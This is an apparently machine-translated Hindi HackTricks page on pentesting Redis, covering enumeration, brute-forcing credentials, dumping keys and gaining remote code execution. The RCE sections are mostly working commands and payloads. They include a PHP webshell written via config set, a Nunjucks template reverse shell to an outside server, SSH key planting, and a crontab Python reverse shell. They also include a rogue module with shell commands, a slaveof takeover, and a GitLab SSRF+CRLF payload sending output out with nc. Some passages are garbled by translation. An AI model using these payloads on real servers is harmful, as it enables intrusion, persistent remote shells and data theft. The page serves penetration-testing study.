6379 - Pentesting Redis

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़ तेजी से बदलती हैकिंग दुनिया के साथ कदम से कदम रहें अपडेटेड

नवीनतम घोषणाएं नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

मूल जानकारी

दस्तावेज़ से: Redis एक ओपन सोर्स (बीएसडी लाइसेंस), इन-मेमोरी डेटा संरचना स्टोर के रूप में उपयोग किया जाता है, जो एक डेटाबेस, कैश और संदेश ब्रोकर के रूप में उपयोग किया जाता है।

डिफ़ॉल्ट रेडिस उपयोग करता है एक प्लेन-टेक्स्ट आधारित प्रोटोकॉल, लेकिन आपको ध्यान में रखना होगा कि यह ssl/tls भी लागू कर सकता है। यहाँ से Redis को ssl/tls के साथ चलाना सीखें

डिफ़ॉल्ट पोर्ट: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

स्वचालित गणना

कुछ स्वचालित उपकरण जो एक रेडिस उदाहरण से जानकारी प्राप्त करने में मदद कर सकते हैं:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

मैनुअल जांच

बैनर

रेडिस एक टेक्स्ट आधारित प्रोटोकॉल है, आप सॉकेट में कमांड भेज सकते हैं और वापस आने वाले मान पढ़ सकते हैं। याद रखें कि रेडिस ssl/tls का उपयोग करके भी चल सकता है (लेकिन यह बहुत अजीब है)।

सामान्य रेडिस उदाहरण में आप सिर्फ nc का उपयोग करके कनेक्ट कर सकते हैं या आप redis-cli का भी उपयोग कर सकते हैं:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

पहला कमांड जो आप प्रयास कर सकते हैं वह है info। यह Redis इंस्टेंस की जानकारी के साथ आउटपुट वापस कर सकता है या कुछ इस प्रकार का आउटपुट वापस आ सकता है:

-NOAUTH Authentication required.

रेडिस प्रमाणीकरण

डिफ़ॉल्ट रूप से रेडिस को पहुंचा जा सकता है बिना प्रमाणों के। हालांकि, इसे केवल पासवर्ड, या उपयोगकर्ता नाम + पासवर्ड का समर्थन करने के लिए कॉन्फ़िगर किया जा सकता है। आप redis.conf फ़ाइल में requirepass पैरामीटर के साथ एक पासवर्ड सेट कर सकते हैं या सेवा पुनः आरंभ होने तक अस्थायी रूप से इसे कनेक्ट करके और चलाकर: config set requirepass p@ss$12E45। इसके अलावा, redis.conf फ़ाइल में masteruser पैरामीटर में एक उपयोगकर्ता नाम कॉन्फ़िगर किया जा सकता है।

अगर केवल पासवर्ड कॉन्फ़िगर किया गया है तो उपयोग किया जाने वाला उपयोगकर्ता नाम "डिफ़ॉल्ट" है। इसके अलावा, ध्यान दें कि बाहरी रूप से पता नहीं चलता है कि रेडिस केवल पासवर्ड या उपयोगकर्ता नाम + पासवर्ड के साथ कॉन्फ़िगर किया गया था।

इस तरह के मामलों में आपको रेडिस के साथ बातचीत करने के लिए मान्य प्रमाणों को खोजने की आवश्यकता होगी, ताकि आप इसे ब्रूट-फ़ोर्स कर सकें। यदि आप मान्य प्रमाण पता लगा लेते हैं तो आपको सत्र का प्रमाणीकरण करने की आवश्यकता होगी जब आप कनेक्शन स्थापित कर लेते हैं:

AUTH <username> <password>

मान्य क्रेडेंशियल्स का जवाब दिया जाएगा: +OK

प्रमाणीकृत जांच

यदि Redis सर्वर अनाम संयोजन की अनुमति देता है या यदि आपने मान्य क्रेडेंशियल्स प्राप्त किए हैं, तो निम्नलिखित कमांड का उपयोग करके सेवा के लिए जांच प्रक्रिया प्रारंभ कर सकते हैं:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

अन्य Redis कमांड यहाँ पाए जा सकते हैं और यहाँ

नोट करें कि एक इंस्टेंस के Redis कमांड को नामांकित या redis.conf फ़ाइल में हटा दिया जा सकता है। उदाहरण के लिए यह लाइन FLUSHDB कमांड को हटा देगी:

rename-command FLUSHDB ""

एक Redis सेवा को सुरक्षित ढंग से कॉन्फ़िगर करने के बारे में अधिक जानकारी यहाँ है: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

आप यहाँ से भी रीडिस कमांडों को वास्तविक समय में मॉनिटर कर सकते हैं जो कमांड monitor के साथ निष्पादित किए गए हैं या 25 सबसे धीमे क्वेरी को प्राप्त कर सकते हैं slowlog get 25

अधिक रीडिस कमांडों के बारे में रोचक जानकारी यहाँ पाएं: https://lzone.de/cheat-sheet/Redis

डेटाबेस का डंप

रीडिस में डेटाबेस संख्याएँ 0 से शुरू होती हैं। आप यह जान सकते हैं कि क्या कोई भी उपयोग में है या नहीं कमांड info के आउटपुट में "Keyspace" चंक में:

या आप सीधे सभी कीस्पेसेस (डेटाबेस) प्राप्त कर सकते हैं:

INFO keyspace

उस उदाहरण में डेटाबेस 0 और 1 का उपयोग किया जा रहा है। डेटाबेस 0 में 4 कुंजियाँ हैं और डेटाबेस 1 में 1 है। डिफ़ॉल्ट रूप से Redis डेटाबेस 0 का उपयोग करेगा। उदाहारण के लिए डेटाबेस 1 के लिए डंप करने के लिए आपको निम्नलिखित करना होगा:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

यदि आप GET <KEY> चलाते समय -WRONGTYPE Operation against a key holding the wrong kind of value त्रुटि मिलती है, तो इसका मतलब है कि कुंजी एक स्ट्रिंग या पूर्णांक से भिन्न है और इसे प्रदर्शित करने के लिए विशेष ऑपरेटर की आवश्यकता है।

कुंजी के प्रकार को जानने के लिए, TYPE कमांड का उपयोग करें, नीचे सूची और हैश कुंजियों के लिए उदाहरण दिया गया है।

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

npm redis-dump या पायथन redis-utils

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़ रियल-टाइम न्यूज़ और अंतर्दृष्टि के माध्यम से हैकिंग दुनिया के तेजी से बदलते संसार में अद्यतन रहें

नवीनतम घोषणाएं नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

Redis RCE

इंटरैक्टिव शैल

redis-rogue-server स्वचालित रूप से Redis(<=5.0.5) में एक इंटरैक्टिव शैल या रिवर्स शैल प्राप्त कर सकता है।

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP वेबशेल

जानकारी यहाँ से। आपको वेबसाइट फ़ोल्डर का पथ पता होना चाहिए:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

यदि वेबशेल एक्सेस असफल हो जाए, तो आप बैकअप के बाद डेटाबेस को खाली करके फिर से प्रयास कर सकते हैं, ध्यान रखें कि डेटाबेस को पुनर्स्थापित करना।

टेम्पलेट वेबशेल

पिछले खंड में की तरह, आप किसी एचटीएमएल टेम्पलेट फ़ाइल को अधिक लिख सकते हैं जो एक टेम्पलेट इंजन द्वारा व्याख्या किया जाएगा और एक शेल प्राप्त कर सकते हैं।

उदाहरण के लिए, इस व्रिटअप का पालन करते हुए, आप देख सकते हैं कि हमलावर ने एक एचटीएमएल में रेव शेल इंजेक्ट किया जिसे नंजक्स टेम्पलेट इंजन द्वारा व्याख्या किया गया था:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

कृपया ध्यान दें कि कई टेम्पलेट इंजन कैश में टेम्पलेट को मेमोरी में स्टोर किया जाता है, इसलिए यदि आप उन्हें ओवरराइट करते हैं, तो नया वाला नहीं चलाया जाएगा। इस प्रकार के मामलों में, या तो डेवलपर ने स्वचालित पुनरावृत्ति सक्रिय छोड़ दी है या आपको सेवा पर डीओएस करना होगा (और उम्मीद करें कि यह स्वचालित रूप से पुनः लॉन्च होगा)।

SSH

उदाहरण यहाँ से

कृपया ध्यान दें कि config get dir परिणाम किसी अन्य मैन्युअल एक्सप्लॉइट कमांड के बाद बदल सकता है। सुझाव दिया जाता है कि आप इसे रन करें जल्दी से रेडिस में लॉगिन करने के बाद। config get dir के आउटपुट में आप रेडिस उपयोगकर्ता का होम (सामान्यत: /var/lib/redis या /home/redis/.ssh) पा सकते हैं, और जानकारी होने पर आप यह जान जाते हैं कि आप कहां authenticated_users फ़ाइल लिख सकते हैं जिसके माध्यम से आप ssh के माध्यम से रेडिस उपयोगकर्ता के साथ पहुंच सकते हैं। यदि आपको अन्य मान्य उपयोगकर्ता के होम का पता है जिसमें आपके पास लेखनीय अनुमति है, तो आप इसका दुरुपयोग भी कर सकते हैं:

  1. अपने पीसी पर एक ssh पब्लिक-प्राइवेट कुंजी जोड़ें: ssh-keygen -t rsa

  2. पब्लिक कुंजी को एक फ़ाइल में लिखें: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. फ़ाइल को रेडिस में आयात करें: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. रेडिस सर्वर पर authorized_keys फ़ाइल में पब्लिक कुंजी को सहेजें:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. अंत में, आप प्राइवेट कुंजी के साथ रेडिस सर्वर पर ssh कर सकते हैं: ssh -i id_rsa redis@10.85.0.52

यह तकनीक यहाँ स्वचालित है: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

अंतिम उदाहरण यूबंटू के लिए है, Centos के लिए, ऊपर का कमांड यह होना चाहिए: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

इस विधि का उपयोग बिटकॉइन कमाने के लिए भी किया जा सकता है: yam

रेडिस मॉड्यूल लोड करें

  1. https://github.com/n0b0dyCN/RedisModules-ExecuteCommand से निर्देशों का पालन करते हुए आप किसी भी कमांड को निषेधात्मक रूप से चलाने के लिए एक रेडिस मॉड्यूल को कंपाइल कर सकते हैं।

  2. फिर आपको कंपाइल किया गया मॉड्यूल अपलोड करने की कोई विधि चाहिए

  3. MODULE LOAD /path/to/mymodule.so के साथ रनटाइम में अपलोड किए गए मॉड्यूल को लोड करें

  4. यह सुनिश्चित करने के लिए कि यह सही ढंग से लोड हुआ है, लोड किए गए मॉड्यूल की सूची करें: MODULE LIST

  5. कमांड चलाएं:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. जब चाहें तब मॉड्यूल को अनलोड करें: MODULE UNLOAD mymodule

LUA सैंडबॉक्स बाईपास

यहाँ आप देख सकते हैं कि रेडिस EVAL कमांड का उपयोग लुआ कोड सैंडबॉक्स को चलाने के लिए करता है। लिंक किए गए पोस्ट में आप देख सकते हैं कि इसे dofile फ़ंक्शन का उपयोग करके कैसे दुरुपयोग किया जा सकता है, लेकिन शायद यह अब और संभव नहीं है। चाहे तो, यदि आप लुआ सैंडबॉक्स को बाईपास कर सकते हैं तो आप सिस्टम पर निर्देशित कमांड चला सकते हैं। इसके अलावा, उसी पोस्ट से आप कुछ DoS कारणों के विकल्प देख सकते हैं।

कुछ CVEs जिनसे लुआ से बाहर निकलने के लिए:

मास्टर-स्लेव मॉड्यूल

मास्टर रेडिस सभी ऑपरेशन अपने आप स्लेव रेडिस में स्वचालित रूप से सिंक्रनाइज़ कर देता है, जिसका मतलब है कि हम व्यक्तिगत रूप से नियंत्रित रेडिस के रूप में सुरक्षा रेडिस को एक स्लेव रेडिस के रूप में देख सकते हैं, जो हमारे नियंत्रण में है, फिर हम अपने रेडिस में कमांड दर्ज कर सकते हैं।

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF रेडिस से बातचीत

यदि आप स्पष्ट पाठ अनुरोध रेडिस को भेज सकते हैं, तो आप इसके साथ संवाद कर सकते हैं क्योंकि रेडिस अनुरोध को पंक्ति द्वारा पढ़ेगा और उसे उन पंक्तियों के लिए केवल त्रुटियां देगा जिन्हें वह समझता नहीं है:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

इसलिए, अगर आप एक वेबसाइट में SSRF vuln खोजते हैं और आप कुछ हेडर्स (शायद CRLF vuln के साथ) या POST parameters को नियंत्रित कर सकते हैं, तो आप Redis को विषयास्पद कमांड भेज सकेंगे।

उदाहरण: Gitlab SSRF + CRLF से शैल

Gitlab11.4.7 में एक SSRF वंलरेबिलिटी और एक CRLF खोजे गए थे। SSRF वंलरेबिलिटी आयात प्रोजेक्ट से URL कार्यक्षमता में थी जब एक नया प्रोजेक्ट बनाया जा रहा था और इसे अनियमित IPs तक पहुंचने की अनुमति दी गई थी [0:0:0:0:0:ffff:127.0.0.1] (यह 127.0.0.1 तक पहुंचेगा), और CRLF vuln का शोषण केवल URL में %0D%0A वर्ण जोड़कर किया गया था।

इसलिए, यह संभव था कि इन वंलरेबिलिटीज का दुरुपयोग करके Redis उदाहरण से बातचीत करना जो gitlab से कतारें प्रबंधित करता है और उन कतारों का दुरुपयोग करके कोड क्रियान्वयन प्राप्त करना संभव था। Redis कतार दुरुपयोग पेलोड है:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

और URL encode अनुरोध SSRF का दुरुपयोग और CRLF को whoami को निष्पादित करने और nc के माध्यम से आउटपुट भेजने के लिए है:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

किसी कारणवश (जैसे https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ के लेखक के लिए जहां से यह जानकारी ली गई थी) उत्पीड़न git योजना के साथ काम कर गया था और http योजना के साथ नहीं।

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स हैकिंग के उत्साह और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक समाचार रियल-टाइम समाचार और अंदरूनी दुनिया के साथ अद्यतन रहें

नवीनतम घोषणाएं नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated